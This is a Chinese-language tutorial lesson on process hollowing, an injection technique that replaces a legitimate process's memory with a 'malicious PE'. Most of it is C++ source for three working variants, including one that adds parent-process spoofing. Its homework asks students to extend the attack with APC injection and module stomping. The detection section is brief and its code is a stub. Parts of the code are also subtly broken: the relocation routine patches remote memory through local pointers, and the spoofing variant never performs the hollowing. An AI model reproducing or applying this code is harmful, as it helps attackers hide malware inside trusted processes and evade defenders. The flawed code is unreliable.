Inject专题
2、劫持进程注入
1、课程目标
- 理解进程劫持注入的基本原理
- 掌握进程镂空(Process Hollowing)技术
- 实现完整的劫持进程注入技术
- 了解该技术的检测与防护方法
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Process Hollowing | 进程镂空 | 将合法进程的代码“掏空”并替换为恶意代码的技术 |
| Process Hijacking | 进程劫持 | 控制或接管已有进程执行的技术 |
| CREATE_SUSPENDED | - | 创建挂起状态进程的标志 |
| NtUnmapViewOfSection | - | 解除内存区域映射的Native API |
| ImageBase | - | PE文件在内存中的首选加载基址 |
3、技术原理
1. 进程劫持注入概述
进程劫持注入是一种高级的代码注入技术,通过替换合法进程的内存映像来执行恶意代码。这种技术比传统的远程线程注入更加隐蔽,因为它完全替换了目标进程的原始代码。
进程镂空流程:
┌─────────────────────────────────────────────────────────────┐
│ 注入者进程 │
│ 1. CreateProcess() 创建挂起状态的目标进程 │
├─────────────────────────────────────────────────────────────┤
│ 2. 获取目标进程句柄和主线程句柄 │
├─────────────────────────────────────────────────────────────┤
│ 3. 读取恶意PE文件到内存 │
├─────────────────────────────────────────────────────────────┤
│ 4. 解除目标进程的内存映射(NtUnmapViewOfSection) │
├─────────────────────────────────────────────────────────────┤
│ 5. 在目标进程中分配新内存并写入恶意PE │
├─────────────────────────────────────────────────────────────┤
│ 6. 修改线程上下文,设置新的入口点 │
├─────────────────────────────────────────────────────────────┤
│ 7. 恢复线程执行(ResumeThread) │
└─────────────────────────────────────────────────────────────┘
目标进程:
┌─────────────────────────────────────────────────────────────┐
│ 8. 开始执行恶意PE文件,原始进程代码被完全替换 │
└─────────────────────────────────────────────────────────────┘
2. 进程镂空 vs 远程线程注入
| 特性 | 进程镂空 | 远程线程注入 |
|---|---|---|
| 原始代码 | 完全替换 | 保留原始代码 |
| 内存布局 | 恶意PE完整映射 | 仅注入ShellCode |
| 复杂度 | 高 | 中 |
| 隐蔽性 | 高 | 中 |
| PE重定位 | 需要处理 | 不需要 |
3. 核心技术要点
3.1 挂起进程创建
使用CREATE_SUSPENDED标志创建进程,此时进程尚未开始执行任何代码。
3.2 内存解映射
使用NtUnmapViewOfSection解除目标进程的内存映射,为注入新代码腾出空间。
3.3 PE文件重定位
处理恶意PE文件的重定位表,确保其能在目标进程中正确加载。
3.4 线程上下文修改
修改主线程的上下文寄存器(EIP/RIP),将其指向新的入口点。
4、代码实现
1. 基础进程镂空实现
// process_hollowing.cpp
// 进程镂空实现
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 定义未导出的API
typedef NTSTATUS (NTAPI *pfnNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
//=============================================================================
// 方法1: 基础进程镂空
//=============================================================================
BOOL BasicProcessHollowing(LPCWSTR targetExe, LPCSTR maliciousPePath) {
printf("[*] Method 1: Basic Process Hollowing\n");
printf("[*] Target executable: %ws\n", targetExe);
printf("[*] Malicious PE: %s\n", maliciousPePath);
// 1. 读取恶意PE文件
HANDLE hFile = CreateFileA(
maliciousPePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open malicious PE file\n");
return FALSE;
}
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID peBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
if (!peBuffer) {
CloseHandle(hFile);
return FALSE;
}
DWORD bytesRead;
ReadFile(hFile, peBuffer, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
printf("[+] Read %lu bytes from malicious PE\n", bytesRead);
// 2. 创建挂起状态的目标进程
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(
targetExe,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)) {
printf("[-] CreateProcessW failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, peBuffer);
return FALSE;
}
printf("[+] Created suspended process: PID=%lu\n", pi.dwProcessId);
// 3. 获取NtUnmapViewOfSection地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pfnNtUnmapViewOfSection pNtUnmapViewOfSection =
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
if (!pNtUnmapViewOfSection) {
printf("[-] Failed to get NtUnmapViewOfSection address\n");
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, peBuffer);
return FALSE;
}
// 4. 解除目标进程的内存映射
NTSTATUS status = pNtUnmapViewOfSection(pi.hProcess, (PVOID)0x400000); // 假设基址
if (status != 0) {
printf("[-] NtUnmapViewOfSection failed: 0x%08X\n", status);
// 继续执行,因为基址可能不同
}
// 5. 解析恶意PE文件头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)peBuffer + dosHeader->e_lfanew);
// 6. 在目标进程中分配内存
LPVOID remoteImage = VirtualAllocEx(
pi.hProcess,
(LPVOID)ntHeaders->OptionalHeader.ImageBase,
ntHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 如果首选基址不可用,分配到任意地址
if (!remoteImage) {
remoteImage = VirtualAllocEx(
pi.hProcess,
NULL,
ntHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
}
if (!remoteImage) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, peBuffer);
return FALSE;
}
printf("[+] Allocated remote memory at: %p\n", remoteImage);
// 7. 写入PE头部
WriteProcessMemory(
pi.hProcess,
remoteImage,
peBuffer,
ntHeaders->OptionalHeader.SizeOfHeaders,
NULL
);
// 8. 写入各个节区
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(
pi.hProcess,
(LPVOID)((LPBYTE)remoteImage + sectionHeader[i].VirtualAddress),
(LPVOID)((LPBYTE)peBuffer + sectionHeader[i].PointerToRawData),
sectionHeader[i].SizeOfRawData,
NULL
);
}
// 9. 获取线程上下文
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &context)) {
printf("[-] GetThreadContext failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, peBuffer);
return FALSE;
}
// 10. 修改入口点
#ifdef _WIN64
context.Rcx = (DWORD64)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#else
context.Eax = (DWORD)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#endif
if (!SetThreadContext(pi.hThread, &context)) {
printf("[-] SetThreadContext failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, peBuffer);
return FALSE;
}
printf("[+] Modified thread context, new entry point: %p\n",
(LPBYTE)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint);
// 11. 恢复线程执行
ResumeThread(pi.hThread);
printf("[+] Process hollowing completed successfully\n");
// 12. 清理资源
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, peBuffer);
return TRUE;
}
//=============================================================================
// 方法2: 改进的进程镂空(处理重定位)
//=============================================================================
BOOL AdvancedProcessHollowing(LPCWSTR targetExe, LPCSTR maliciousPePath) {
printf("[*] Method 2: Advanced Process Hollowing with Relocation\n");
// 1. 读取恶意PE文件(同上)
HANDLE hFile = CreateFileA(
maliciousPePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID peBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
if (!peBuffer) {
CloseHandle(hFile);
return FALSE;
}
DWORD bytesRead;
ReadFile(hFile, peBuffer, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
// 2. 创建挂起进程(同上)
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(
targetExe,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)) {
HeapFree(GetProcessHeap(), 0, peBuffer);
return FALSE;
}
// 3. 解析PE结构
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)peBuffer + dosHeader->e_lfanew);
// 4. 分配内存
LPVOID remoteImage = VirtualAllocEx(
pi.hProcess,
(LPVOID)ntHeaders->OptionalHeader.ImageBase,
ntHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 处理基址冲突
DWORD64 actualBase = (DWORD64)remoteImage;
DWORD64 preferredBase = ntHeaders->OptionalHeader.ImageBase;
// 5. 写入PE数据(同上)
WriteProcessMemory(pi.hProcess, remoteImage, peBuffer,
ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(
pi.hProcess,
(LPVOID)((LPBYTE)remoteImage + sectionHeader[i].VirtualAddress),
(LPVOID)((LPBYTE)peBuffer + sectionHeader[i].PointerToRawData),
sectionHeader[i].SizeOfRawData,
NULL
);
}
// 6. 处理重定位(如果基址发生变化)
if (actualBase != preferredBase) {
printf("[*] Performing relocation due to base address change\n");
// 查找重定位表
PIMAGE_DATA_DIRECTORY relocDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir->Size > 0) {
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)peBuffer + relocDir->VirtualAddress);
while (reloc->VirtualAddress > 0) {
DWORD numEntries = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD relocData = (PWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < numEntries; i++) {
if (relocData[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) {
DWORD* patchAddr = (DWORD*)((LPBYTE)remoteImage + reloc->VirtualAddress + (relocData[i] & 0xFFF));
DWORD originalValue = *patchAddr;
*patchAddr = originalValue - (DWORD)preferredBase + (DWORD)actualBase;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
}
}
}
// 7. 修改入口点并恢复执行(同上)
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &context);
#ifdef _WIN64
context.Rcx = actualBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#else
context.Eax = (DWORD)actualBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#endif
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
printf("[+] Advanced process hollowing completed\n");
// 8. 清理
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, peBuffer);
return TRUE;
}
2. 父进程伪装结合进程镂空
//=============================================================================
// 方法3: 父进程伪装 + 进程镂空
//=============================================================================
BOOL ProcessHollowingWithParentSpoofing(LPCWSTR targetExe, LPCSTR maliciousPePath, LPCWSTR parentProcessName) {
printf("[*] Method 3: Process Hollowing with Parent Spoofing\n");
// 1. 获取父进程PID
DWORD parentPid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe = { sizeof(pe) };
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, parentProcessName) == 0) {
parentPid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
if (parentPid == 0) {
printf("[-] Parent process not found: %ws\n", parentProcessName);
return FALSE;
}
printf("[+] Found parent process PID: %lu\n", parentPid);
// 2. 打开父进程句柄
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
if (!hParent) {
printf("[-] Failed to open parent process: %lu\n", GetLastError());
return FALSE;
}
// 3. 设置进程属性列表
SIZE_T attributeListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize);
LPPROC_THREAD_ATTRIBUTE_LIST attributeList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeListSize);
if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize)) {
CloseHandle(hParent);
HeapFree(GetProcessHeap(), 0, attributeList);
return FALSE;
}
if (!UpdateProcThreadAttribute(
attributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL,
NULL)) {
DeleteProcThreadAttributeList(attributeList);
CloseHandle(hParent);
HeapFree(GetProcessHeap(), 0, attributeList);
return FALSE;
}
// 4. 创建带有父进程伪装的挂起进程
STARTUPINFOEXW si = { sizeof(si) };
si.lpAttributeList = attributeList;
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(
targetExe,
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL,
NULL,
(LPSTARTUPINFOW)&si,
&pi)) {
printf("[-] CreateProcessW failed: %lu\n", GetLastError());
DeleteProcThreadAttributeList(attributeList);
CloseHandle(hParent);
HeapFree(GetProcessHeap(), 0, attributeList);
return FALSE;
}
printf("[+] Created suspended process with spoofed parent\n");
// 5. 执行进程镂空(简化版本)
// 这里可以调用前面实现的镂空函数
// 为简化,这里只演示流程
// 6. 清理
DeleteProcThreadAttributeList(attributeList);
CloseHandle(hParent);
HeapFree(GetProcessHeap(), 0, attributeList);
// 恢复执行
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
printf("[+] Process hollowing with parent spoofing completed\n");
return TRUE;
}
3、检测与防护
1. 常见检测方法
| 检测方式 | 原理 | 绕过难度 |
|---|---|---|
| 进程创建监控 | 监控CreateProcess调用及其参数 | 中 |
| 父进程验证 | 验证进程的父进程是否合理 | 高 |
| 内存完整性检查 | 检查进程映像是否被修改 | 中 |
| 线程上下文监控 | 监控异常的线程上下文修改 | 高 |
2. 防护措施
// 进程防护示例
#include <windows.h>
#include <psapi.h>
// 检测进程镂空
BOOL DetectProcessHollowing() {
// 获取当前进程映像基址
HMODULE hModule = GetModuleHandle(NULL);
// 获取磁盘上的PE文件信息
CHAR exePath[MAX_PATH];
GetModuleFileNameA(hModule, exePath, MAX_PATH);
// 读取磁盘上的PE文件
HANDLE hFile = CreateFileA(
exePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID diskPe = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
ReadFile(hFile, diskPe, fileSize, &fileSize, NULL);
CloseHandle(hFile);
// 比较内存中的PE和磁盘上的PE
// 这里简化处理,实际需要比较重要节区
HeapFree(GetProcessHeap(), 0, diskPe);
return FALSE; // 简化实现
}
3、课后作业
3.1、作业1:实现完整的PE重定位
完善代码中的重定位处理部分,确保恶意PE能在任意基址正确加载。
3.2、作业2:添加APC注入方式
结合APC注入技术,实现另一种进程劫持方式。
3.3、作业3:实现模块镂空
研究并实现模块镂空(Module Stomping)技术,替换已加载DLL的代码段。
4、参考资料
- Windows Internals, Part 1: System architecture, processes, threads, memory management
- 《恶意代码分析实战》- Michael Sikorski & Andrew Honig
- 《The Rootkit Arsenal》- Bill Blunden
- MSDN文档: CreateProcess, VirtualAllocEx, SetThreadContext